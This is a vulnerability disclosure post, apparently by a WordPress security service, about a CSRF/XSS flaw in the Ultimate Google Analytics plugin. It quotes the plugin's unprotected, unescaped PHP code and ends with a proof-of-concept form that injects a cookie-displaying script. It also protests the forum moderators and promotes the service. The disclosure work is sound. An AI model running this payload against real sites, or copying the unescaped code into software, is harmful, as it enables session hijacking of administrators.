03 Sep

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Ultimate Google Analytics

The plugin Ultimate Google Analytics was closed on the WordPress Plugin Directory on Friday. That is one of the 1,000 most popular plugins with 50,000+ installs, so we were alerted to its closure. While we were looking in to the plugin to see if there were any serious vulnerabilities we should be warning users of the plugin that also use our service, we found that it contains a less serious one related to a more serious one, a cross-site site request forgery (CSRF)/cross-site scripting (XSS) vulnerability.

The plugin has an options page that causes the function uga_options() to run:

add_options_page('Ultimate Google Analytics' /* page title */, 
				 'Ultimate GA' /* menu title */, 
				 8 /* min. user level */, 
				 basename(__FILE__) /* php file */ , 
				 'uga_options' /* function for subpanel */);

In the function, which is located in the file /ultimate_ga.php, the plugin’s setting are updated without there having been a nonce check to prevent cross-site request forgery (CSRF):

  if (isset($_POST['info_update'])) {
    uga_debug('Saving posted options: '.var_export($_POST, true));
    ?><div class="updated"><p><strong><?php 
    // process submitted form
    $uga_options = get_option('ultimate_ga_options');
    $uga_options['account_id']             = $_POST['account_id'];
    $uga_options['internal_domains']       = $_POST['internal_domains'];
    $uga_options['max_user_level']         = $_POST['max_user_level'];
    $uga_options['prefix_ext_links']       = $_POST['prefix_ext_links'];
    $uga_options['prefix_mail_links']      = $_POST['prefix_mail_links'];
    $uga_options['prefix_file_links']      = $_POST['prefix_file_links'];
    $uga_options['track_extensions']       = $_POST['track_extensions'];
    $uga_options['enable_tracker']         = ($_POST['enable_tracker']=="true"          ? true : false);
    $uga_options['filter_content']         = ($_POST['filter_content']=="true"          ? true : false);
    $uga_options['filter_comments']        = ($_POST['filter_comments']=="true"         ? true : false);
    $uga_options['filter_comment_authors'] = ($_POST['filter_comment_authors']=="true"  ? true : false);
    $uga_options['track_adm_pages']        = ($_POST['track_adm_pages']=="true"         ? true : false);
    $uga_options['track_ext_links']        = ($_POST['track_ext_links']=="true"         ? true : false);
    $uga_options['track_mail_links']       = ($_POST['track_mail_links']=="true"        ? true : false);
    $uga_options['track_files']            = ($_POST['track_files']=="true"             ? true : false);
    $uga_options['ignore_users']           = ($_POST['ignore_users']=="true"            ? true : false);
    $uga_options['debug']                  = ($_POST['debug']=="true"                   ? true : false);
    $uga_options['check_updates']          = ($_POST['check_updates']=="true"           ? true : false);
    update_option('ultimate_ga_options', $uga_options);

While some of the values are validated to restrict what the value of the the setting can be set to, others are not. One of those that isn’t restricted, account_id, is then output without being escaped:

<td><input name="account_id" type="text" id="account_id" value="<?php echo uga_get_option('account_id'); ?>" size="50" />

So by setting that setting to malicious JavaScript code then cross-site scripting (XSS) can occur.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown when accessing the page /wp-admin/options-general.php?page=ultimate_ga.php, when logged in as Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/options-general.php?page=ultimate_ga.php" method="POST">
<input type="hidden" name="account_id" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="info_update" value="Submit" />

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.